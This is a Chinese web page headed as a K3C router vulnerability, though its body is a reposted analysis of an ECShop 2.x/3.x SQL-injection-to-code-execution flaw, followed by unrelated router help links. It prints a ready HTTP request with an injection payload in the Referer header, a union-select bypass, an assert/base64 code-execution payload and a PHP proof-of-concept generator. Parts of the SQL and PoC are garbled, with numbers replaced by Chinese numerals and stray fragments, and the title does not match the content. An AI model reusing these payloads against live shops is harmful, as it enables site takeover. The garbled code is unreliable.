k3c路由器漏洞-(k3c路由器 通病)

来源:191路由网 2022-09-24 18:09:26

k3c路由器漏洞 (k3c路由器 通病)

0x01 漏洞详情

ECShop是一款B2C独立网店系统 ,适合企业和个人快速打造个性化网店。 系统是基于PHP语言及MYSQL跨平台开源程序的数据库架构开发。

在2017年及以前的版本中, user.php的display在函数中,模板变量可以控制,导致注入,远程代码可以与注入一起执行

0x02 影响范围

ECShop 2.xECShop 3.x0x03 漏洞分析

ringk3y哥哥把这个漏洞分析得很清楚,整个使用和绕过的过程非常精彩。感谢分享和p神提供的环境.

SQL注入:

在user.php中

$back_act变量来源于HTTP_REFERER, assign在模板变量中赋值函数。

继续跟踪 display函数

读取user_passport.dwt解析变量后的模板文件内容显示html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash它是默认的,不是随机生成的,所以$val内容可以随意控制。

接着看 insert_mod函数

=1pc动态调用在这里,=1pc$val传入进来用|分割,参数进入时需要序列化。

=1pc再看include/lib_insert.php中的insert_ads函数

=1pc

这里可以直接注入

GET /user.php?act=login HTTP/1.1Accept: */*Accept-Language: zh-CNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: IPPragma: no-cacheCookie: PHPSESSID=7dd64ac53c93500b5dff70fdc0163f2e; ECS_ID=057fee67dd00d21af00d81537cb1d09e0946bdec; ECS[visit_times]=2Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\\"num\\";s:72:\\"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -\\";s:2:\\"id\\";i:1;}Connection: close

代码执行:

继续看fetch函数

追踪_eval函数

$position_style数据库中查询结构的变量

然后我们继续构造SQL注入,因为这段sql操作 order by部分换行不能截断 所以需要在id配合处理结构注释num进行union查询

payload:

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2、4、5、6、7、9-- -

函数中有一个判断:

=1pc我们 id传入’/*

=1pcnum传入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -就能绕过了

var_dump()一下

再看fetch函数,传入的参数被fetch_str函数处理了

追踪fetch_str函数,这里的字符串处理过程比较复杂

return preg_replace(\\"/{([^\\}\\{\ ]*)}/e\\", \\"\\$this->select('\\\\1');\\", $source);

这意味着例如$source是xxxx{$asd}xxx,那么这行代码处理后,就是返回this->select(‘$asd结果, 看看select函数:

第一个字符是$时进入$this->get_val函数

我们$val没有.$又进入make_var函数

最后这里引入单引号从变量中逃逸, 我们要闭合_var所以最终payload是:

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ==);xxx

P神用在这里php写了一个Poc:这里2.x跟3.x的hash不一样,因此,使用时需要更改:

<?php$shell = bin2hex(\\"{\\$asd'];phpinfo\ ();//}xxx\\");$id = \\"-1' UNION/*\\";$arr =[ \\"num\\" => sprintf('*/SELECT 1,0x%s,四、五、六、七、八x%s,10-- -', bin2hex($id), $shell), \\"id\\" => $id];$s = serialize($arr);$hash3 = '45ea207d7a2b68c49582d2d22adf953a';$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';echo \\"POC for ECShop 2.x: \ \\";echo \\"{$hash2}ads|{$s}{$hash2}\\";echo \\"\ \ POC for ECShop 3.x: \ \\";echo \\"{$hash3}ads|{$s}{$hash3}\\";

把poc放到php环境运行:

2.x执行结果如下 :

3.x 执行结果如下:

0x04 修复建议

最新的3.6.最新版本0已修复,建议升级最新版本!

Reference:

https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.mdhttp://ringk3y.com/2018/08/31/ecshop2-x代码执行/

点击展开全文

相关阅读

重装路由器之后没网了-(重装路由器之后没网了怎么办)

重新安装路由器后,没有网络。(重新安装路由器后,没有网络。怎么办)为方便省事,公司网络采用无线网络,各站均采用无线网络,可正常使用。由于后来公司业务量大,需要网络打印机,公司已知交换机网口全部填充,没有多余的网口,导致没有网线进入打印机。由于弱电施工接入路由器,公司...

2022-08-15

新3路由器breed下载-(新路由3 breed)

新3路由器breed下载(新路由3breed)版本挺高的,22.6.512.75.看教程可以刷机。温10电脑不成功,温7实验成功。非法固件直接手动升级显示。成功刷入升级breed,这是进入Breed之后的页面!路由器下载breedweb控制台5.7版本,版本号R1226,温7电脑系统下刷机成功!温10不成功!全自动计算机的图标响应!还有一台K2,22.6.529.216,反应...

2022-08-15

无线路由器老连不上网-(无线路由器老连不上网怎么回事)

无线路由器老连不上网(无线路由器老连不上网怎么了?当计算机能够正常连接路由器网络上网的原因是什么?这个问题在平时很常见。路由器设置正确,即无法上网。我们应该从几个方面来判断这个问题。更多小白一键重新安装系统官网_也可以用电脑小白win11/win10/win7一键重新安装系统软件!教程全部在小白官网如果路由器设置不正确,可以在有网络的设备上打开浏览器192.168.1....

2022-08-15

路由器连接好后提示无网络-(路由器连接好后提示无网络怎么办)

连接路由器后,提示无网络(连接路由器后,提示无网络怎么办)许多朋友使用手机连接WiFi在网络上,会遇到一种极其特殊的情况,显然已经连接到了WiFi但是为什么提示网络不能用或者不能上网呢?本期文章将给你科普这个问题。家庭网络结构早年网络传输速度依赖于电话线传输,网络速度慢,没有智能互联网设备...

2022-08-15

雷科路由器怎么改密码-(磊科路由器帐号密码)

雷科路由器如何更改密码?(雷科路由器账号密码)[硬核买家]作为家用WiFi路由器的质量直接关系到每个家庭的网络体验。可目前的路由器在出厂时受到限制,当然,它们都是为了确保路由器的稳定性,但事实上,一些限制非常保守,使路由器无法发挥其真正的性能或体验其他一些实用功能。因此,许多爱折腾的玩家开始折腾路由器刷第三方固件,业内知名的路由器系统有梅林、番茄、OpenWRT等等。经过许多玩家的试用...

2022-08-15

191路由网 - 192.168.1.1,192.168.0.1无线路由器设置教程

版权声明:本站的文章和图片来自互联网收集,仅做分享之用如有侵权请联系站长,我们将在24小时内删除